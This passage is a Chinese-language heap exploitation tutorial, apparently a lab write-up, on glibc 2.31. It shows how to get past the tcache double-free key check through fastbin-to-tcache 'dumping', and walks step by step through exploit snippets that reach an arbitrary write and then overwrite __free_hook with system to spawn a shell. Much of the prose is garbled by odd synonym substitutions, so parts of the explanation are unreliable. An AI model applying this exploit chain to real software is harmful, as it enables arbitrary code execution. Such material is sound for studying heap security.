发现fastbin[0]被拿出来用于这一次的申请,剩下的所有fastbin全部都被参加到了tcache中
这个过程就是tcache dumping
这一机制存在的缘故原由可以理解为,堆管理器发现这个线程很频繁的须要这个大小的空间,为了淘汰频繁检查的消耗,干脆直接把现在内存里这个大小的fastbin都划给这个线程得了,于是一股脑将剩余的fastbin都先参加到tcache中
这里有一个地方须要注意,fastbin中fd指向的是chunk的metadata开始位置,而tcache的next字段指向的是userdata部门;
那么总结一下,只有将tcache填满之后才会申请的内容就会放入常规的bins;而在tcache为空时申请一次fastbin会将这个fastbin中的剩余项都参加到tcache中
回到这个2.31版本的tcache_dup,在这个2.31版本的例子中检查了e->key==tcache导致无法绕过double free的检查
而只有通过直接free到tcache时才会颠末这条检查,如果是将tcache填满之后从fastbin移动到tcachebin就不会再颠末这个检查
for i in range(7): malloc(0x18, "aaaa")dup = malloc(0x18,'aaaa')for i in range(7): free(i)free(dup)首先填满tcache之后,再free掉一个同样大小的chunk,根据前面demo的实验我们知道这个dup应该是常规的放入到fastbin中
这之后将tcache中的chunk都申请出来,因为tcache机制本身就是为了方便各个线程有一块本身的堆,tcache的内容会比fastbin的内容优先申请出来
for i in range(7): malloc(0x18, "aaaa")dup = malloc(0x18,'aaaa')for i in range(7): free(i)free(dup)for i in range(7): malloc(0x18, 'aaaa')在这个状态下再次free(dup)
虽然会检查e->key==tcache,但是由于dup这个chunk之前是被free到了fastbin中,并没有设置key这个字段,因此可以绕过这一检查,最终使得dup同时被参加到了tcachebin和fastbin中
由于这时用到的是glibc的2.31版本,已经对fastbin_dup这样的问题做了检查,增加了针对fastbin size字段的检查,类似于在高版本House of Rabbit中看到的内容
以是这时我们没办法简单的利用fastbin dup,这就是须要tcache dumping的地方了
这时tcache为空,fastbin中有两项
再申请一次,这个操作首先会将0x603370位置的fastbin用于满足这次的申请,另外会将接下来的fastbin——即我们伪造link到fastbin上的target——参加到tcache中
for i in range(7): malloc(0x18, "aaaa")dup = malloc(0x18,'aaaa')for i in range(7): free(i)free(dup)for i in range(7): malloc(0x18, 'aaaa')free(dup)malloc(0x18, p64(elf.sym.target))# 触发tcache dumpingmalloc(0x18, 'aaaa')这时查看内存,发现好像和我们想象中不太一样
这时可以控制的内存恰好是target下面的空间,有一个0x10的偏移,以是须要修改一下伪造fd时的值,那么设置成-0x10呢?
malloc(0x18, p64(elf.sym.target-0x10))这时也有一些问题,因为target值的部门恰好会被当成fastbin的fd来解析,在触发tcache dumping的过程中会尝试去这个不可读写的地址继续将其参加到tcache中
以是这里须要再向前面减8
for i in range(7): malloc(0x18, "aaaa")dup = malloc(0x18,'aaaa')for i in range(7): free(i)free(dup)for i in range(7): malloc(0x18, 'aaaa')free(dup)malloc(0x18, p64(elf.sym.target-0x18))# 触发tcache dumpingmalloc(0x18, 'aaaa')malloc(0x18, p64(0)+b"Much Win\x00")完成了任意地址写,接下来利用类似的方法完成任意代码执行就很轻松了,直接修改__free_hook
由于__free_hook本身没有值,不会被解析为fastbin的fd,这次就不须要再向前偏移8了
for i in range(7): malloc(0x18, "aaaa")dup = malloc(0x18,'aaaa')for i in range(7): free(i)free(dup)for i in range(7): malloc(0x18, 'aaaa')free(dup)malloc(0x18, p64(libc.sym.__free_hook-0x10))binsh = malloc(0x18, '/bin/sh\x00')malloc(0x18, p64(libc.sym.system))free(binsh)运行之后就可以得到shell